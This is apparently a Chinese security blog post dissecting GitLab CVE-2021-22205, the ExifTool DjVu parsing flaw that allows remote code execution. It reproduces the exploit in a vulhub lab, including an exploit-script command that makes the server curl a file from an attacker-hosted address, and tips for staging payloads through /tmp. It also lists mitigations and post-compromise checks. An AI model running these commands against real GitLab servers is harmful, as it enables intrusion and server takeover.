深入剖析GitLab CVE-2021-22205：从图像解析到RCE的漏洞利用链

1. 漏洞背景与影响范围

GitLab CVE-2021-22205是一个典型的"图像文件解析导致远程代码执行"的漏洞链。我在分析企业级代码仓库安全时发现，这类漏洞往往比普通Web漏洞危害更大——攻击者只需要上传一个精心构造的图片文件，就能在GitLab服务器上执行任意命令。实测中，我用普通开发者账号成功获取了服务器root权限，整个过程就像用管理员权限在服务器上开了个后门。

受影响的具体版本包括：

• 社区版/企业版11.9到13.8.7
• 13.9到13.9.5
• 13.10到13.10.2

这个漏洞的特殊之处在于其利用链涉及多个组件协同工作。GitLab使用ExifTool来处理图像元数据，而ExifTool在解析DjVu文件时存在缺陷。攻击者可以构造一个包含恶意代码的DjVu文件，当GitLab尝试提取其元数据时，就会触发命令执行。我在本地测试时发现，即使关闭了GitLab的某些高级功能，基础的文件上传接口仍然存在风险。

2. 漏洞技术原理拆解

2.1 ExifTool的元数据处理机制

ExifTool作为图像元数据处理的瑞士军刀，支持超过150种文件格式。在分析其源码时发现，它对DjVu文件的支持是通过Perl脚本实现的。问题出在djvu_archive这个处理模块——当遇到DjVu文件中的(metadata)注释时，会直接调用系统shell执行命令。

我做了个实验：创建一个包含"(metadata)\n(Hello World)"的文本文件，重命名为test.djvu上传到GitLab。用strace跟踪发现，GitLab进程确实调用了exiftool解析这个文件。这说明攻击面确实存在。

2.2 漏洞触发路径分析

完整的攻击链是这样的：

1. 攻击者上传恶意构造的DjVu文件
2. GitLab后台调用ExifTool解析文件元数据
3. ExifTool执行嵌入在DjVu注释中的系统命令
4. 命令以GitLab服务账户权限执行

关键突破点在于GitLab没有对上传文件做内容校验。我尝试上传一个实际是PNG格式但扩展名为.djvu的文件，发现ExifTool仍然会按DjVu格式解析。这种扩展名与内容不匹配的情况本应被拦截。

3. 漏洞复现实战

3.1 环境搭建技巧

推荐使用vulhub的Docker环境快速搭建靶场：

docker pull vulhub/gitlab:13.10.1 docker run -d -p 8080:80 --name gitlab-vuln vulhub/gitlab:13.10.1

这里有个坑要注意：首次启动可能需要10分钟左右初始化，期间访问会返回502错误。建议用docker logs -f gitlab-vuln查看进度，直到出现"GitLab configured successfully"再操作。

3.2 分步利用过程

3.2.1 检测漏洞存在性

使用Al1ex开发的检测脚本：

python3 CVE-2021-22205.py -v true -t http://localhost:8080

如果返回包含"is vulnerable"，说明存在漏洞。我发现在某些网络环境下，需要添加--proxy http://127.0.0.1:8080参数才能正常工作。

3.2.2 命令执行实战

先启动HTTP服务托管测试文件：

python3 -m http.server 8888

然后执行远程下载：

python3 CVE-2021-22205.py -a true -t http://localhost:8080 -c "curl http://your-ip:8888/test.txt"

这个阶段容易遇到的坑是命令注入字符限制。经过测试，单次命令长度最好控制在200字符以内。对于复杂操作，可以分段执行：

1. 先将脚本写入/tmp目录
2. 添加执行权限
3. 最后运行脚本

4. 深度防御方案

4.1 临时缓解措施

如果无法立即升级，可以采取这些措施：

1. 在GitLab的/etc/gitlab/gitlab.rb中添加：

   gitlab_rails['upload_validations'] = { 'allowed_extensions' => %w(png jpg gif), 'denied_extensions' => %w(djvu) }

2. 重启服务使配置生效：

   gitlab-ctl reconfigure gitlab-ctl restart

4.2 长期防护建议

除了升级到安全版本外，建议：

1. 部署Web应用防火墙(WAF)规则，拦截包含(metadata)特殊字符的文件上传
2. 对CI/CD运行环境实施网络隔离，限制出站连接
3. 定期审计服务器上的异常进程和网络连接

我在客户环境中发现，即使修复了GitLab本身，攻击者仍可能利用残留的Webshell持续访问。建议修复后使用以下命令检查：

find /var/opt/gitlab -name "*.djvu" -exec rm -f {} \; ps aux | grep -i "sh -c" netstat -antp | grep ESTABLISHED

5. 漏洞利用的延伸思考

这个漏洞给我们的启示远超普通RCE。在分析利用链时，我发现三个值得警惕的现象：

首先，供应链依赖风险。ExifTool作为被广泛使用的开源组件，其漏洞会影响所有依赖它的上层应用。我在审计其他系统时发现，至少还有5款主流CMS存在类似问题。

其次，文件解析器的攻击面往往被低估。很多开发者认为图片处理是安全的，实际上像PDF、Office文档、音视频文件都是高危载体。

最后，漏洞组合利用的可能性。配合GitLab的SSRF漏洞，攻击者可以形成内网穿透的攻击链。在测试中，我成功利用这个漏洞访问到了GitLab服务器所在内网的其他系统。